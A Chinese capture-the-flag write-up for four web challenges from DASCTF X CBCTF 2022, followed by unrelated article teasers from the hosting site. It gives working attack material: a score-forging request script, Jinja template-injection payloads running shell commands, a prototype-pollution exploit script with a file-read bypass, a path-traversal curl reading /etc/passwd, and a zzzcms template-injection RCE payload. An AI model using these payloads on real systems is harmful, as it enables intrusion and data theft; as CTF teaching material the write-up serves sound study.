【Web】DASCTF X CBCTF 2022九月挑战赛 题解

目录

dino3d 

Text Reverser 

cbshop

zzz_again


dino3d 

进来是一个js小游戏

先随便玩一下,显示要玩够1000000分

 

直接console改分数会被检测

 

先是JSFinder扫一下,扫出了check.php

到js里关键词索引搜索check.php

 搜索sn,发现传入的参数是score和checkCode

搜索checkCode 

 

搜索salt

 

import requests
from hashlib import md5
import time
target = "http://node5.buuoj.cn:27231/check.php"

headers = {
    "Content-type": "application/x-www-form-urlencoded; charset=UTF-8"
}


body = {
    "score": "10000000",
    "checkCode": md5("10000000DASxCBCTF_wElc03e".encode()).hexdigest(),
    "tm": str((time.time()))[:10]
}


res = requests.post(target, headers=headers, data=body)
print(res.text)

 

 

Text Reverser 

先随便测试功能

测出有对SSTI的waf

 

给一段字符逆向脚本

s = "待逆向字符"
r = s[::-1]
print(r)

 {% print(7*7)%}

 

{%print ''.__class__.__bases__[0].__subclasses__()%}

 

 

找到os在132索引处

{%print ''.__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('tail /flag').read()%}

 

cbshop

 

先随便登录一下 ,有10元,但flag要11元

 拿到附件审源码

flag位置在了/flag

 

admin信息 

 

直接放控制台运行

 

成功以admin登录  

 

 现在钱是够够的了 

 但还是不能直接买flag

 

回头看源码,有这样一段逻辑

 

需要user.token属性为true

但代码中并没有定义token

 

可以在buyApi中利用assign打原型链污染

 先令user.username为__proto__,污染Object.token属性

{"name": "/flag", "id": 2, "token": true}

 打入污染

 再以admin登录,去买flag,发现还是有限制要绕(就是传入的json数据不能包含flag关键字)

 

使用URL 实例可以正常读取文件,将 flag 进行url编码从而绕过

import requests
session = requests.Session()

url = "http://d6b2d3d7-8768-4eac-9cbb-f2f2be45b4ff.node5.buuoj.cn:81/" # 题目url

def login():
    data = {
        "username": "admin",
        "password": "\uDE00admi"
    }
    session.post(url + "login", json = data)

def changeUsername():
    data = { "username": "__proto__" }
    session.post(url + "changeUsername", json = data)

def buyFlag():
    data = {
        "name":{
          "href": 'file:///fl%61g',
          "origin": 'null',
          "protocol": 'file:',
          "username": '',
          "password": '',
          "host": '',
          "hostname": '',
          "port": '',
          "pathname": '/fl%61g',
          "search": '',
          "searchParams": "URLSearchParams {}",
          "hash": ''
        },
        "id":2,
        "token":True
    }
    res = session.post(url + "buy", json = data)
    return res.text

if __name__ == '__main__':
    login()
    changeUsername()
    flag = buyFlag()
    print(flag)

 

zzz_again

 

 

XCTF高校挑战赛与zzzcms 2.1.4最新版前台RCE | Matrix 

经过验证可以进行一个任意文件的读,但不知道flag路径,走不下去 

curl -d "template=../../../../../../../../etc/passwd" -X POST http://node5.buuoj.cn:29834/search/

 

再去搜RCE的洞 

Vuls/zzzcms/zzzphp V2.1.0 RCE/zzzphp V2.1.0 RCE.md at main · metaStor/Vuls · GitHub 

直接照着打也打不通,高版本模板注入RCE入口的location估计不能是search了

进入解析模板

 解析location

当location=list时,跟进parserList 

 

最后进到parserListPage 

 

发现其是从url中接参,最后做一些简单的拼接并替换掉正在执行的模板文件

 

一顿逻辑走下来后发现没有waf,到此我们就可以成功得到恶意的模板文件

 

接着再来看parserIfLabel对模板文件是怎么处理的

 dangerkey有waf处理

 过掉waf后可以往下走到eval拼接命令执行

最终payload:

/?location=list&aaa={if:=strtolower("SYSTEM")("cat /f111l00g")}{end if}&aaa=111

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/557107.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

正确解决:关于Lattic Diamond和Radiant License冲突问题(无法破解问题)

一、问题 今天工作,搞16nm Avant E系列FPGA,需要用到莱迪思的Radiant 2023.2软件(按这个博主的安装流程Lattice Radiant 2023.1 软件安装教程)。 安装好之后,设置环境变量,导入License.dat就是破解不了&…

pnpm 报错: ERR_PNPM_META_FETCH_FAIL

今天突然遇到一个报错,pnpm 报错: ERR_PNPM_META_FETCH_FAIL  GET https://registry.npm.taobao.org/vue%2Fcli-service: request to https://registry.npm.taobao.org/vue%2Fcli-service failed, reason: certificate has expired问题原因:…

js 遍历数据结构,使不符合条件的全部删除

js 遍历数据结构,使不符合条件的全部删除 let newSourceJSON.parse(JSON.stringify(state.treeData))state.expandedKeys[]checkedKeys.map((item:any)>{loop(newSource,{jsonPath:item.split(&)[1]},state.expandedKeys)})function removeUnwantedNodes(tre…

开关电源拓扑结构(第一部分)

为什么使用开关电源? 开关电源的主要思想可以通过直流到直流变压器的概念解释轻松理解,如图1所示。负载 R L R_L RL​需要从主电压源 V I N V_{IN} VIN​中获得一个恒定电压 V O U T V_{OUT} VOUT​。如图1所示,通过变化串联电阻( R S R_S RS​)或分流电流( I S I_S IS​)可…

[Python开发问题] Selenium ERROR: Unable to find a matching set of capabilities

💝💝💝欢迎莅临我的博客,很高兴能够在这里和您见面!希望您在这里可以感受到一份轻松愉快的氛围,不仅可以获得有趣的内容和知识,也可以畅所欲言、分享您的想法和见解。 推荐:「stormsha的主页」…

2024年核科学与地球化学国际会议 (ICNSG 2024)

2024年核科学与地球化学国际会议 (ICNSG 2024) 2024 International Conference on Nuclear Science and Geochemistry 【会议简介】 2024年核科学与地球化学国际会议即将在北京召开。本次会议旨在汇聚全球核科学与地球化学领域的专家学者,共同探讨核科学的最新进展…

Golang基础-13

Go语言基础 介绍 并发 channel goroutine 互斥锁 读写锁 原子操作 select 超时处理 sync包 runtime包 介绍 本文介绍Go语言中 channel、goroutine、互斥锁、读写锁、原子操作、select、超时处理、sync包、runtime包等相关知识。 并发 进程是是最小的资源管理单元…

webpack-babel

babel Babel 是一个 JavaScript 编译器,主要用于将高版本的 JavaScript 代码转换为低版本的 JavaScript 代码,从而确保代码在不同浏览器和环境中的兼容性。它可以将 ES6/ES7/ES8 等新特性转换为 ES5 等旧版本的 JavaScript 代码,使得开发人员…

CSS 格式化上下文 + CSS兼容处理

个人主页:学习前端的小z 个人专栏:HTML5和CSS3悦读 本专栏旨在分享记录每日学习的前端知识和学习笔记的归纳总结,欢迎大家在评论区交流讨论! 文章目录 ✍CSS 格式化上下文🔥1 格式化上下文🌷1.1 块级格式化…

微软(TTS)文本转语音服务API实现

此博客实现与java实现微软文本转语音(TTS)经验总结_java tts_${简简单单}的博客-CSDN博客之上,首先感谢博客源码的提供,本人在上面添加了一些详细的注释,方便大家跟好的理解和使用,毕竟我已经用原文调试了一…

python入门之简洁安装VS保姆版安装(含虚拟环境)

11、保姆版安装 Anoconda安装(python的一个发行版本) 优点:集成了许多关于python科学计算的第三方库,保姆级别 下载:www.anaconda.com/download/ 版本默认64位,py37 √:add anaconda to my…

教程 | 亚组分析森林图模块使用介绍

本周风暴统计平台最新更新了亚组森林图板块!界面与功能进行了全新升级,今天就通过这篇教程为大家详细介绍,亚组森林图模块各种细节的设置与使用方式! 教程将从以下方面开展: 1. 亚组分析使用介绍2. 不同回归分析中亚组…

Java 数据类型

一 Java 的数据类型 二 整数类型 类型占用存储空间范围byte[字节]1字节-127~127short[短整型]2字节-215~215-1 即 -32768~ 32767int[整型]4字节-231~231-1 即 -2147483648~2147483647long[长整型]8字节-263~263-1 字节 byte是计算机存储单位的基本单元,通常由8个比…

Redis: 集群

文章目录 一、单点Redis的问题二、主从架构1、概述2、集群结构3、主从数据同步原理(1)全量同步(2)增量同步 4、总结(1)全量同步和增量同步的区别(2)什么时候执行全量同步&#xff08…

面试经典150题——跳跃游戏 II

面试经典150题 day10 题目来源我的题解方法一 动态规划方法二 贪心 题目来源 力扣每日一题;题序:45 我的题解 方法一 动态规划 动态规划,当j位置可达i位置时:dp[i]Math.min(dp[i],dp[j]1); 时间复杂度:O( n 2 n^2 n…

SpringBlade dict-biz/list SQL 注入漏洞复现

0x01 产品简介 SpringBlade 是一个由商业级项目升级优化而来的 SpringCloud 分布式微服务架构、SpringBoot 单体式微服务架构并存的综合型项目。 0x02 漏洞概述 SpringBlade 后台框架 /api/blade-system/dict-biz/list 路径存在SQL注入漏洞,攻击者除了可以利用 SQL 注入漏洞…

chromedriver最新版下载地址

地址1.百度网盘 链接(提取码:2vo3):百度网盘 请输入提取码百度网盘为您提供文件的网络备份、同步和分享服务。空间大、速度快、安全稳固,支持教育网加速,支持手机端。注册使用百度网盘即可享受免费存储空间https://pan.baidu.com…

微信域名防封/QQ域名防封/域名状态检测/域名防红防封API平台源码

下载地址:API平台源码 这套源码是使用thinkphp3.1.3开发的,可以在PHP5.3-5.6下运行,程序是有一点老了,但是思路仍在!然后,这套源码我已经成功搭建起来了,后台、个人(用户&#xff0…

基于Material Design风格开源、易用、强大的WPF UI控件库

前言 今天大姚给大家分享一款基于Material Design风格开源、免费(MIT License)、易于使用、强大的WPF UI控件库:MaterialDesignInXamlToolkit。 项目介绍 MaterialDesignInXamlToolkit 是一个开源、易于使用、强大的 WPF UI 控件库&#x…

【opencv】示例-videocapture_starter.cpp 从视频文件、图像序列或连接到计算机的摄像头中捕获帧...

/** * file videocapture_starter.cpp * brief 一个使用OpenCV的VideoCapture与捕获设备,视频文件或图像序列的入门示例 * 就像CV_PI一样简单,对吧? * * 创建于: 2010年11月23日 * 作者: Ethan Rublee * * 修改于: 2013年4月17日 * …